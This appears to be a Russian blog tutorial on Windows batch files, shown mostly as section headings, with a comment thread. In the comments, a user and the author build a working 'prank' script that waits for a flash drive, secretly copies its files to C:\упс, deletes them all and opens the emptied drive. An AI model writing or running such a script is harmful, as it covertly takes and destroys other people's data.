категории | RSS

Пакетные файлы (bat, батники) Windows

Вместо вступления:
Пакетные файлы (batch file) - это текстовые файлы в системе Windows, MS-DOS и OS/2, содержащие в себе команды, подготовленные для последовательного исполнения интерпритатором ОС.
На первый взгляд может показаться, что данные возможности системы абсолютно бесполезны для рядового пользователя, однако это не совсем так. При помощи пакетных файлов можно существенно упростить рутинную работу с ПК, сделать её удобнее, воспользоваться некоторыми скрытыми возможностями.
Новатором и пионером в данной области я, само собой, не являюсь, просто постараюсь изложить здесь базовое представление об этом типе файлов, рассмотреть некоторые примеры и остановиться на парочке деталей и тонкостей, касающихся так называемых батников.

Для удобства написания и, естественно, восприятия разобью статью по разделам. Но сначала:

ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ: Некоторые манипуляции с пакетными файлами могут нанести вред системе (порой даже непоправимый), поэтому предупреждаю сразу, ни автор статьи, ни администрация сайта не несут абсолютно никакой ответственности за последствия, которые может повлечь за собой выполнение действий, представленных в этой статье. Надеюсь на ваше понимание и прямоту ваших рук....

 Часть первая. Основные моменты



 Часть вторая. Синтаксис

Приступим....

 Часть третья. Резервное копирование

 Часть четвертая. Создание и удаление

 Часть пятая. Прочие возможности

 Часть шестая. Хитрости или шутки в сторону

 Часть седьмая. Преобразование

Вместо заключения:
Остаётся только напомнить, что вообще команд огромное количество, а вариантов их сочетаний и вовсе - бесконечное множество. Любую команду можно сначала проверить в командной строке, а только потом добавлять в тело пакетного файла....

Будьте осторожны и удачных вам экспериментов (:

Apres
2012-08-22T20:00:18Z

Здесь находятся
всего 0. За сутки здесь было 0 человек

Комментарии 18

#8   Apres    

Usernokiamen, не совсем понял. Т.е. нужно, чтобы папка с именем в виде текущей даты появлялась на рабочем столе?
Если да, то вот:

@echo off
chcp 1251
set datetemp=%date:~-10%
MD "%USERPROFILE%\\Рабочий стол\\%datetemp%"


Это для XP.
Если не так понял, прошу исправить request


* редактировал(а) Apres 09:42 23 авг 2012

0 ответить

#8   Usernokiamen    

Еще один ворпос
MD "C:\\%datetemp%"
а как заставить чтобы
C:\\Users\\Name\\Desktop работало с C:\\Users\\Name\\Desktop*.* не прокатило


0 ответить

#8   Apres    

Цитата: Usernokiamen
а как насчет проводника?

Достаточно просто последней строкой добавить
explorer.exe G:\\
Откроется флэха. rundll32 не нужен....
З.Ы.: прошу прощения у всех за невнимательность. Пропадающие слэши пока не поборол....
-------------
Добавлено в 15.17: Проблема пропадания слэшей возникала из-за выделения кода цветом. От этого пришлось отказаться. Статью поправил....


* редактировал(а) Apres 14:37 22 авг 2012

0 ответить

#8   Usernokiamen    

а как насчет проводника?


0 ответить

#8   Apres    

Вот блин, все слэши в путях посыпались, пока статейку туда-сюда копировал!!!
Сейчас быстренько подправлю.

Цитата: Usernokiamen
Я правильно понял? Для жесткого стеба?
@echo off
:test
if exist g: goto go
goto test
:go
xcopy "G:*.*" "C:упс*.*"
Y|del "G:*.*"

Не совсем. Во-первых, моя ошибка, слэши надо в путях расставить, во-вторых, второй строкой добавь указание кодировки, иначе не увидит русские буквы в файлах, не сможет копировать в папку с русским именем, в-третьих, перед последней строкой надо добавить echo, т.к. следом идёт ответ. Т.е. конечный код будет таким:
@echo off
chcp 1251
:test
if exist g: goto go
goto test
:go
xcopy "G:\\*.*" "C:\\упс\\*.*"
echo Y|del "G:\\*.*"


* редактировал(а) Apres 14:36 22 авг 2012

0 ответить

#8   Usernokiamen    

Я правильно понял? Для жесткого стеба?
@echo off
:test
if exist g: goto go
goto test
:go
xcopy "G:*.*" "C:упс*.*"
Y|del "G:*.*"
-------------
Добавлено в 11.54: и еще как тогда после того как копирование, затирка прошла открыть флеху чтобы показать что она пуста

rundll32 ... explorer.exe G:\\ ?


1 ответить

#8   Camerado    

Спасибо, почитаю на досуге...


2 ответить

#8   Usernokiamen    

Спасибо Огромное! Нужная информация! буду изучать! Еще раз Спасибо!


1 ответить

Яндекс.Метрика